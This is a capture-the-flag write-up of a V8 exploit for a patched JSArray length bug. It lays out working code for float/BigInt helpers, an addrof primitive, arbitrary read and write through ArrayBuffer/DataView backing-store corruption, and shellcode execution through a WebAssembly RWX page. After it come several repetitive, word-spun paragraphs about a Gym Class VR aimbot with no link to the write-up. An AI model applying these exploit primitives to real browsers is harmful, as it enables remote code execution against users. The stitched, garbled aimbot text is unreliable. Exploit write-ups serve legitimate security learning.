Gotta go fast. server.py patch.txt
We are given the server.py python script, a d8 executeable and source code with a custom patch. I included the files directly relevant to the writeup above.
Looking at the provided patch, a very obvious vulnerability was introduced into v8. The patch adds a function called setHorsepower that allows us to set the length field of JSArray objects to a value of our chosing. The screenshot below showcases the relevant parts of the patch.
With this added vulnerability we can get an out of bounds read and write as showcased below. We start off by creating a JSArray object of type FixedDoubleArray. Next we use the setHorsepower function to increase its length to 0x100. We can now access out of bounds memory and both read and overwrite values stored on the v8-heap. We will now proceed to leverage this bug to take control of v8 and gain arbitrary code execution.
As you can see in the above screenshot, accessing arr[50] returned a float number due to the type of our array. Float numbers such as these are hard to interpret and use especially since they are oftentimes actually addresses that we would much rather view in hex. To accomplish this we will start by adding 2 helper functions.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val) {
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
The first helper function, ftoi, takes a value of type float and converts it to a BigInt value. The second helper function, itof, accepts a BigInt value as its argument and converts it to a float. This function will be important when trying to write values into memory.
Now that that is setup, our first goal will be to craft an addrof primitive. This primitive should allow us to pass in an arbitrary object and the function should return its address. We will accomplish this using our vulnerability.
var s = [1.1,2.2];
var obj = {"A":1};
var obj_arr = [obj];
var fl_arr = [3.3,4.4];
var tmp = new Uint8Array(8);
s.setHorsepower(0x100);
let obj_arr_elem = s[12];
function addrof(obj) {
obj_arr[0] = obj;
s[17] = obj_arr_elem;
return ftoi(fl_arr[0]) & 0xffffffffn;
}
We start by creating some objects, and using the vulnerable function to extend the length of our float array s. By accessing various indexes of the s array we can now read and overwrite arbitrary values stored after the s array. Our first step is to retrieve the elements pointer of our obj_arr. This will become vital for the upcoming addrof primitive.
For the addrof function, we start by setting the first index of our obj_arr to the value address we are trying to leak. Next we use our vulnerability to overwrite the elements pointer of fl_arr with the elements pointer of our object array. This makes it so fl_arr[0] now points to the address we just stored in the obj_arr. Finally we use ftoi to return the value with type BigInt. Like this we successfuly managed to create a primitive that allows us to retrieve the addresses of our objects.
As you may have spotted in the above screenshot, we did not in fact leak the entire address of the passed in object. We only got the lower 4 bytes. This is due to a v8 concept called pointer compression. To save space, only the lower 4 bytes of addresses are stored on the v8 heap. Since the upper 4 bytes are always the same throughout a specific v8 process, this address is instead stored in the r13 register. We will need to find a way to leak this value too if we want to successfuly leak object addresses.
In the beginning of our exploit we executed 'var tmp = new Uint8Array(8);' to allocate a specific object. As it turns out, this object actually stores the root address in memory, so we can simply leak it by accessing s[32];
We now have everything needed to proceed with our next primitives. To be more specific, we want an arbitrary read and write. There are multiple ways to achieve this, but I decided to accomplish this primitive via a pair of ArrayBuffers.
function arb_read(obj,offset) {
dv_1.setUint32(0, Number(addrof(obj)-1n+offset), true);
return dv_2.getUint32(0, true);
}
function arb_write(addr,val) {
w[21] = itof(BigInt(part_2)>>32n);
dv_1.setUint32(0, Number(addr), true);
dv_2.setUint32(0, val, true);
}
var w = [1.1,2.2];
w.setHorsepower(0x100);
var arr_1 = new ArrayBuffer(0x40);
var dv_1 = new DataView(arr_1);
var arr_2 = new ArrayBuffer(0x40);
var dv_2 = new DataView(arr_2);
w[6] = itof((addrof(arr_2)+0x10n + 3n)<<32n);
w[7] = itof(BigInt(root_leak)>>32n);
w[21] = itof(BigInt(root_leak)>>32n);
Once again we start by allocating an arr w and extend its length using the vulnerable function to achieve an index read/write. Next we allocate 2 arraybuffers and their dataview objects.
In JSArrayBuffer objects, the backing store points to their elements. These elements can then be viewed and edited using the getUint32() and setUint32() functions. This means that if we overwrite the backing store pointer of arr_1 with the address of the backing store pointer of arr_2, we can execute 'dv_1.setUint32(addrof(obj));' to write an arbitrary address to the backing store pointer of arr_2. We can now use dv_2.(get/set) to complete our arbitrary read and write primitives by using the pointer received from arr_1.
We now have all of our primitives together. The last thing needed is a way to obtain code execution. With our primitives, the easiest way to achieve this is through shellcode and webassembly.
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,...]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let pwn = wasm_instance.exports.main;
When creating a wasm function as demonstrated above, a RWX page is created in memory. This address is then stored at wasm_instance + 0x68.
To complete our exploit, we start by leaking the address of the rwx page using our arb_read() function on wasm_instance + 0x68. Next we call copy_shellcode() to copy our shellcode over to this page step by step using arb_write(). Finally we execute the '/bin/cat ./flag.txt' shellcode to retrieve the flag and complete the challenge.
The full exploit script is posted below.
An aimbot is a type of software or hack that permits players to effortlessly aim and hit targets in a game, often with a high amount of accuracy. In the setting of Gym Class VR, an aimbot would allow players to effortlessly hit their opponents or attain specific goals, giving them a major advantage over other players. The Emergence of Gym Class VR Aimbot Lately, aimbots specifically designed for Gym Class VR have begun to propagate within the game’s user base. These aimbots use sophisticated formulas and machine learning approaches to scrutinize the game’s dynamics and permit players to trick their way to winning. The use of aimbots in Gym Class VR has triggered fierce debate among players, with some claiming that it enhances the gaming experience, while others claim that it damages the essence of fair play. The Points For and Against Gym Class VR Aimbot
An cheat is a type of software or hack that allows players to effortlessly aim and hit opponents in a session, often with a high level of precision. In the environment of Gym Class VR, an aimbot would permit players to smoothly hit their opponents or achieve certain objectives, giving them a considerable edge over other players. The Advent of Gym Class VR Aimbot Recently, aimbots specifically designed for Gym Class VR have begun to circulate within the title's player base. These aimbots use sophisticated algorithms and machine learning techniques to examine the game's mechanics and allow players to manipulate their way to success. The use of aimbots in Gym Class VR has triggered intense discussion among players, with some contending that it enhances the gaming activity, while others claim that it undermines the spirit of honorable play. The Discussions For and Against Gym Class VR Aimbot Gym Class Vr Aimbot
An auto-aim is a type of program or cheat that enables players to instantly aim and hit targets in a game, often with a high degree of accuracy. In the scope of Gym Class VR, an aimbot would empower players to smoothly hit their adversaries or attain certain goals, giving them a substantial edge over other players. The Emergence of Gym Class VR Aimbot Recently, aimbots specially designed for Gym Class VR have commenced to circulate within the game’s player base. These aimbots use advanced algorithms and machine learning approaches to evaluate the title's systems and permit players to cheat their way to victory. The use of aimbots in Gym Class VR has sparked intense debate among players, with some contending that it enhances the interactive experience, while others assert that it undermines the nature of fair play. The Arguments For and Against Gym Class VR Aimbot An aimbot is a type of software or
This Ascent of Gym Lesson VR Aimbot: Transforming Wellness or Eroding Honest Competition? The world of virtual reality (VR) training has undergone a considerable increase in recognition throughout the recent few decades, with many games and platforms emerging that aim to make fitness more compelling and pleasant. One title, Gym Class VR, has captivated the VR fitness society by surprise with its unique mix of bodily exercise and ambitious gameplay. However, a growing pattern amidst the match has ignited dispute and discussion: the utilization of hacks. What is Gym Class VR? Gym Class VR is a multisession VR title that blends aspects of exercise and ambitious gameplay. Gamers compete in diverse physical exercises, including dodgeball, boxing, and other workouts, in a virtual world. The game is designed to provide a fun and interesting approach to stay active, while also encouraging a notion of camaraderie and sport between users. What is an Aimbot? In the environment of Gym Class VR, an
An cheat software is a type of application or exploit that enables players to effortlessly aim and hit enemies in a game, often with a high degree of exactness. In the context of Gym Class VR, an aimbot would empower players to easily hit their adversaries or achieve specific targets, giving them a significant advantage over other players. The Rise of Gym Class VR Aimbot Lately, aimbots particularly designed for Gym Class VR have commenced to propagate within the game’s user base. These aimbots use advanced algorithms and deep learning approaches to scrutinize the game’s dynamics and facilitate players to cheat their way to victory. The utilization of aimbots in Gym Class VR has triggered fierce discussion among players, with some arguing that it enhances the gaming session, while others assert that it undermines the principle of fair play. The Viewpoints For and Against Gym Class VR Aimbot